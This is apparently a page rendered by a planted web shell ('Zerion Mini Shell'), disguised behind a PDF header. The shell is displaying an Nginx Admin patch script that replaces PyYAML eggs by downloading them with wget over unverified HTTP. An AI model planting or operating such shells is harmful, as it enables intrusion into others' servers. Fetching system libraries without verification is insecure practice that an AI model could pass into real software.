%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/src/publicnginx/
Upload File :
Create Path :
Current File : //usr/local/src/publicnginx/pythonfix

# !/bin/sh
# Nginx Admin Installer
# Website: www.nginxcp.com

clear
echo " Patch for python yaml error";

# apply patch for python yaml error
cd /usr/lib/python2.4/site-packages
SYSTEMARCH=`uname -i`
if [ "$SYSTEMARCH" = "x86_64" ];then
	mv PyYAML-3.10-py2.4-linux-x86_64.egg PyYAML-3.10-py2.4-linux-x86_64.egg.bak
	wget http://nginxcp.com/scripts/PyYAML-3.09-py2.4-linux-x86_64.egg
else
	mv PyYAML-3.10-py2.4-linux-i686.egg PyYAML-3.10-py2.4-linux-i686.egg.bak
	wget http://nginxcp.com/scripts/PyYAML-3.09-py2.4-linux-i686.egg
fi

Zerion Mini Shell 1.0